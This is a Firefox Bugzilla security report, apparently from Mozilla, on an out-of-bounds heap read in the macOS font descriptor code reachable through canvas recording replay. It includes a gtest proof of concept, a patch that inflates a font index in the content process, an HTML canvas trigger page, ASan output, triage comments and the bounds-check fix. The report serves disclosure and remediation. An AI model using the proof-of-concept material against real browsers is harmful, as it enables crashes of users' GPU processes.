Closed Bug 2016367 (CVE-2026-4719) Opened 6 months ago Closed 6 months ago

UnscaledFontMac::CreateFromFontDescriptor OOB Heap Read

Categories

(Core :: Graphics: Text, defect)

defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 149+ fixed
firefox148 --- wontfix
firefox149 + fixed
firefox150 + fixed

People

(Reporter: prodigysml555, Assigned: lsalzman)

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+])

Attachments

(4 files, 1 obsolete file)

Compromised content process -> GPU process via CanvasTranslator replay. macOS only.

UnscaledFontMac::CreateFromFontDescriptor (ScaledFontMac.cpp:792) passes aIndex as the byte count to CFStringCreateWithBytes, but nothing validates aIndex <= aDataLength. RecordedFontDescriptor deserialization (RecordedEventImpl.h:4224) reads mIndex without validating against mData.size(). On macOS, aIndex is the font name string length within the data buffer, not a face index. With mData = [4 bytes] and mIndex = 256, CFStringCreateWithBytes reads 256 bytes from a 4-byte buffer.

Other platforms are safe: DWrite validates aIndex against numFaces, Fontconfig and FreeType store it without memory access, GDI ignores it.

The Bug

ScaledFontMac.cpp:785-793:

already_AddRefed<UnscaledFont> UnscaledFontMac::CreateFromFontDescriptor(
    const uint8_t* aData, uint32_t aDataLength, uint32_t aIndex) {
  if (aDataLength == 0) {          // only checks for ZERO
    return nullptr;
  }
  AutoRelease<CFStringRef> name(
      CFStringCreateWithBytes(kCFAllocatorDefault, (const UInt8*)aData, aIndex,
                              kCFStringEncodingUTF8, false));  // aIndex as byte count, not aDataLength

RecordedEventImpl.h:4220-4235 deserializes mIndex without validation:

ReadElement(aStream, mIndex);  // no check against mData.size()

ASAN Proof

==74475==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020002283f4
READ of size 256 at 0x6020002283f4 thread T0
#0 memcpy (libclang_rt.asan_osx_dynamic.dylib)
#1 __CFStringCreateImmutableFunnel3 (CoreFoundation)
#2 UnscaledFontMac::CreateFromFontDescriptor (XUL)

0x6020002283f4 is located 0 bytes after 4-byte region [0x6020002283f0,0x6020002283f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (CoreFoundation) in __CFStringCreateImmutableFunnel3

PoC

gfx/tests/gtest/TestFontDescriptorOOB.cpp:

/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"
#include "mozilla/gfx/2D.h"

using namespace mozilla::gfx;

TEST(FontDescriptorOOB, IndexExceedsDataLength) {
  const size_t bufSize = 4;
  uint8_t* fontDescData = new uint8_t[bufSize];
  fontDescData[0] = 'T';
  fontDescData[1] = 'e';
  fontDescData[2] = 's';
  fontDescData[3] = 't';

  // mIndex = 256 >> bufSize = 4.
  // On macOS: CFStringCreateWithBytes reads 256 bytes from 4-byte buffer.
  uint32_t maliciousIndex = 256;

  RefPtr<UnscaledFont> font = Factory::CreateUnscaledFontFromFontDescriptor(
      FontType::MAC, fontDescData, bufSize, maliciousIndex);
  (void)font;

  delete[] fontDescData;
}

Run: ./mach gtest "FontDescriptorOOB.IndexExceedsDataLength"

Fix

if (aDataLength == 0 || aIndex > aDataLength) {
  gfxWarning() << "Mac font descriptor is truncated.";
  return nullptr;
}
Flags: sec-bounty?
Group: firefox-core-security → gfx-core-security
Component: Security → Graphics: Text
Keywords: csectype-bounds
Product: Firefox → Core

UnscaledFontMac::CreateFromFontDescriptor (ScaledFontMac.cpp:792) passes aIndex as the byte count to CFStringCreateWithBytes, but no code validates aIndex <= aDataLength. RecordedFontDescriptor deserialization (RecordedEventImpl.h:4224) reads mIndex without validating against mData.size(). On macOS, aIndex is the font name string length within the data buffer. With mData holding a 42-byte font descriptor and mIndex = 256, CoreFoundation reads 214 bytes past the buffer.

ScaledFontMac.cpp:785-793:

already_AddRefed<UnscaledFont> UnscaledFontMac::CreateFromFontDescriptor(
    const uint8_t* aData, uint32_t aDataLength, uint32_t aIndex) {
  if (aDataLength == 0) {          // only checks for ZERO
    return nullptr;
  }
  AutoRelease<CFStringRef> name(
      CFStringCreateWithBytes(kCFAllocatorDefault, (const UInt8*)aData, aIndex,  // aIndex as byte count
                              kCFStringEncodingUTF8, false));

RecordedEventImpl.h:4224 deserializes mIndex with no bounds check:

ReadElement(aStream, mIndex);  // no check against mData.size()

Other platforms are safe. DWrite validates aIndex against numFaces. Fontconfig and FreeType store it without memory access.

IPC path: content process records RecordedFontDescriptor via DrawTargetRecording when drawing text on a canvas. The recording is replayed in the GPU process via CanvasTranslator::TranslateRecording -> RecordedFontDescriptor::PlayEvent -> Factory::CreateUnscaledFontFromFontDescriptor -> UnscaledFontMac::CreateFromFontDescriptor. Content controls mIndex through the canvas recording stream.

Fix at ScaledFontMac.cpp:787:

if (aDataLength == 0 || aIndex > aDataLength) {
  gfxWarning() << "Mac font descriptor is truncated.";
  return nullptr;
}

Content-side IPC patch

Patches RecordedFontDescriptor::SetFontDescriptor to override mIndex to 256 when the content process records a font descriptor. GPU process replays the event, CreateFromFontDescriptor passes the inflated index to CFStringCreateWithBytes.

diff --git a/gfx/2d/RecordedEventImpl.h b/gfx/2d/RecordedEventImpl.h
index 4159355174ad..2f021ebba442 100644
--- a/gfx/2d/RecordedEventImpl.h
+++ b/gfx/2d/RecordedEventImpl.h
@@ -4213,7 +4213,9 @@ inline void RecordedFontDescriptor::SetFontDescriptor(const uint8_t* aData,
                                                       uint32_t aSize,
                                                       uint32_t aIndex) {
   mData.Assign(aData, aSize);
-  mIndex = aIndex;
+  // PoC: override mIndex to exceed mData.size(), triggering OOB read
+  // in UnscaledFontMac::CreateFromFontDescriptor (macOS) or similar
+  mIndex = 256;
 }

 template <class S>

HTML PoC

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Font Descriptor OOB Heap Read - IPC PoC (Finding #19)</title>
</head>
<body>
<canvas id="c" width="400" height="200"></canvas>
<pre id="log"></pre>
<script>
document.getElementById('log').textContent =
  'Finding #19: Font Descriptor OOB Read (macOS only)\n' +
  'Content -> GPU via CanvasTranslator\n\n';

const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');

ctx.fillStyle = '#333';
ctx.fillRect(0, 0, 400, 200);
ctx.fillStyle = 'white';

const fonts = [
  '24px serif',
  '20px sans-serif',
  '18px monospace',
  '16px Georgia',
  '14px "Helvetica Neue"'
];

fonts.forEach((font, i) => {
  ctx.font = font;
  ctx.fillText('Finding #19 - Font Descriptor OOB', 20, 40 + i * 30);
});

document.getElementById('log').textContent +=
  'Text rendered with ' + fonts.length + ' fonts.\n' +
  'Each font triggers RecordedFontDescriptor with crafted mIndex=256.\n' +
  'Check ASan output (macOS only).\n';
</script>
</body>
</html>

Steps to reproduce

  1. git apply pocs/font_descriptor_oob_ipc.patch
  2. ./mach build
  3. ./mach run (ASan build, non-headless, macOS)
  4. Open the HTML PoC above (or pocs/font_descriptor_oob_ipc.html)
  5. The page draws text on a canvas, triggering RecordedFontDescriptor with crafted mIndex=256
  6. GPU process replays the event, CFStringCreateWithBytes reads 256 bytes from a 42-byte buffer

Headless mode uses SWGL (no GPU process), so the IPC path requires non-headless mode on macOS.

ASan Output (IPC, GPU process)

==46020==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040006014ba at pc 0x0001022e0d50 bp 0x0001711dad50 sp 0x0001711da500
READ of size 256 at 0x6040006014ba thread T22
    #0 memcpy (libclang_rt.asan_osx_dynamic.dylib:arm64+0x50d4c)
    #1 __CFStringCreateImmutableFunnel3+0xa90 (CoreFoundation:arm64+0x3044)
    #2 mozilla::gfx::UnscaledFontMac::CreateFromFontDescriptor+0x124 (XUL:arm64+0x31a4ee8)
    #3 mozilla::gfx::Factory::CreateUnscaledFontFromFontDescriptor+0xf4 (XUL:arm64+0x31177f0)
    #4 mozilla::gfx::RecordedFontDescriptor::PlayEvent+0x14c (XUL:arm64+0x30b48f4)
    #5 mozilla::layers::CanvasTranslator::TranslateRecording()::$_0 (XUL:arm64+0x35ba894)
    #6 mozilla::gfx::RecordedEvent::DoWithEvent<mozilla::gfx::MemReader>+0x29c0 (XUL:arm64+0x3064dfc)
    #7 mozilla::layers::CanvasTranslator::TranslateRecording()+0x274 (XUL:arm64+0x3583da4)

0x6040006014ba is located 0 bytes after 42-byte region [0x604000601490,0x6040006014ba)
SUMMARY: AddressSanitizer: heap-buffer-overflow (CoreFoundation:arm64+0x3044) in __CFStringCreateImmutableFunnel3+0xa90
Blocks: gfx-triage

I've confirmed this crash on MacOS.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Attached file ASan log

Here's the patch for Firefox. Note I modified the patch slightly to only use the modified behavior in the content process, so it is easy to see that's where it is going (it doesn't seem to run in any other process).

Assignee: nobody → continuation

Oops, I didn't update the patch.

Attachment #9546622 - Attachment is obsolete: true
Assignee: continuation → nobody

It looks like this will cause the other process to read extra data into the name string (assuming the OOB doesn't cause it to crash). How does that help you with a sandbox escape? or do much of anything, really?

Flags: needinfo?(prodigysml555)

You're right, the exfiltration path is weak. CFStringCreateWithBytes with kCFStringEncodingUTF8 rejects most heap garbage, and even if it produces a valid string, CGFontCreateWithFontName is just a dictionary lookup, content can't observe the result.

The real concern is crash. mIndex comes straight from RecordedFontDescriptor deserialization (RecordedEventImpl.h:4224) with zero validation against mData.size(). Set it to something large and CFStringCreateWithBytes memcpys that many bytes from a tiny buffer, hits unmapped pages, takes down the GPU process. layers.gpu-process.allow-fallback-to-parent is true by default, so repeated GPU crashes eventually fall back to parent compositing where InlineTranslator runs the same code. I don't think this would be a sandbox-escape, the crash is the best we can do here from my knowledge.

Flags: needinfo?(prodigysml555)
Keywords: sec-low

The severity field is not set for this bug.
:lsalzman, could you have a look please?

For more information, please visit BugBot documentation.

Flags: needinfo?(lsalzman)
Severity: -- → S3
Flags: needinfo?(lsalzman)
No longer blocks: gfx-triage
Attached file (secure)
Assignee: nobody → lsalzman
Status: NEW → ASSIGNED

Comment on attachment 9550441 [details]
(secure)

Beta/Release Uplift Approval Request

  • User impact if declined/Reason for urgency: Potential crashes on Mac in parent/GPU process.
  • Is this code covered by automated tests?: Yes
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Innocuous feel-good change to prevent a theoretical out-of-bounds access that shouldn't impact normal code.
  • String changes made/needed:
  • Is Android affected?: No

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined:
  • Fix Landed on Version: 150
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky):
Attachment #9550441 - Flags: approval-mozilla-esr140?
Attachment #9550441 - Flags: approval-mozilla-esr115?
Attachment #9550441 - Flags: approval-mozilla-beta?
Group: gfx-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 6 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch
Attachment #9550441 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9550441 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115-

Comment on attachment 9550441 [details]
(secure)

Approved for 140.9esr.

Attachment #9550441 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main149+][adv-ESR140.9+]
Alias: CVE-2026-4719
Flags: sec-bounty? → sec-bounty-
Flags: sec-bounty-hof+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: